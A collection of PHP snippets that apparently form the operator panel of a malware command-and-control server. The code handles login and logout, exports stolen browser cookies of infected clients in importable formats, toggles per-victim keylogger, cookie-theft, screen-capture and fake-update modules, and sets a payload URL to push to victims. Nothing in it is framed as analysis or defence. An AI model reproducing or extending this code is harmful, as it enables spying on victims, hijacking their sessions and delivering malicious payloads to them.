Example #1
0
<?php

require_once 'includes/functions.php';
$login = new Login();
$template = new Template();
if ($login->loggedIn()) {
    redirect("index");
    die;
}
if ($_POST) {
    $user = $_POST["username"];
    $pass = $_POST["password"];
    if ($login->loginUser($user, $pass)) {
        //good login- redirect
        redirect("index", 3);
        $template->showMessage("You have been logged in and will be redirected to index.", "Logged In");
    } else {
        $template->badLogin();
        //bad login, redirect to login page
        redirect("login", 3);
        $template->showMessage("We have failed to log you in with provided username and password, you will be redirected to login page again.", "Error");
    }
}
$template->showLogin();
Example #2
0
<?php

require_once 'includes/functions.php';
$login = new Login();
$template = new Template();
if (!$login->loggedIn()) {
    $template->showLogin();
}
//
$id = $_GET["id"];
$db->bind("unique_id", $id);
$cookieData = $db->row("SELECT cl.client_id, cl.ip, co.client_id, co.unique_id, co.website, co.cookie, co.time FROM clients AS cl JOIN cookies AS co ON cl.client_id = co.client_id WHERE co.unique_id = :unique_id ");
if (empty($cookieData)) {
    $template->showMessage("Invalid cookie id.", "Error");
}
if ($_GET["dl"] == "ie") {
    $cookies = explode("; ", $cookieData["cookie"]);
    foreach ($cookies as $k => $v) {
        list($name, $value) = explode("=", $v);
        echo "." . $cookieData["website"] . " \tFALSE\t/\tFALSE\t" . (time() + 60 * 60) . "\t" . $name . "\t" . $value . PHP_EOL . "<br>";
    }
    die;
}
if ($_GET["dl"] == "etc") {
    $cookies = explode("; ", $cookieData["cookie"]);
    $outputArray = array();
    foreach ($cookies as $k => $v) {
        list($name, $value) = explode("=", $v);
        $outputArray[] = array('domain' => "." . $cookieData["website"], "expirationDate" => time() + 60 * 60, "hostOnly" => false, "httpOnly" => false, "name" => $name, "path" => "/", "secure" => false, "session" => false, "storeId" => "0", "value" => $value, "id" => $i);
    }
    echo json_encode($outputArray);
Example #3
0
<?php

require_once 'includes/functions.php';
$login = new Login();
$template = new Template();
if (!$login->loggedIn()) {
    redirect("index", 3);
    $template->showMessage("you have to be logged in be here.", "Error");
}
if ($login->logout()) {
    redirect("index", 3);
    $template->showMessage("You have been logged out.", "info");
}
Example #4
0
}
$clientId = $_GET["id"];
$setting = $_GET["setting"];
$value = $_GET["value"];
if (!empty($clientId) && !empty($value) && !empty($setting)) {
    $db->bindMore(array("client_id" => $clientId, "value" => $value));
    switch ($setting) {
        case "keylogger":
            $db->query("UPDATE clients SET keylogger = :value WHERE client_id = :client_id");
            break;
        case "cookies":
            $db->query("UPDATE clients SET cookies = :value WHERE client_id = :client_id");
            break;
        case "screen_capture":
            $db->query("UPDATE clients SET screen_capture = :value WHERE client_id = :client_id");
            break;
        case "fake_update":
            $db->query("UPDATE clients SET fake_update = :value WHERE client_id = :client_id");
            break;
        case "no_payload":
            header("Location: settings.php?cid=" . $clientId);
            break;
    }
    redirect("index", 3);
    $template->showMessage("Option has been changed.", "Changed option");
} else {
    die("error");
}
$template->showHeader("Dashboard");
$template->showIndex($data);
$template->showFooter();
Example #5
0
<?php

require_once 'includes/functions.php';
$login = new Login();
$template = new Template();
if (!$login->loggedIn()) {
    $template->showLogin();
}
$id = $_GET["cid"];
if (isset($_POST["changeSettings"])) {
    $db->bindMore(array("interval" => $_POST["interval"], "payload" => $_POST["payload"], "client_id" => $id));
    $db->query("UPDATE clients SET scr_cap_interval = :interval, payload_url = :payload WHERE client_id = :client_id");
    redirect("index", 3);
    $template->showMessage("Settings have been changed.", "Changed Settings");
}
$db->bind("client_id", $id);
$data = $db->row("SELECT * FROM clients WHERE client_id = :client_id ");
$template->showHeader("Dashboard");
$template->showSettings($data);
$template->showFooter();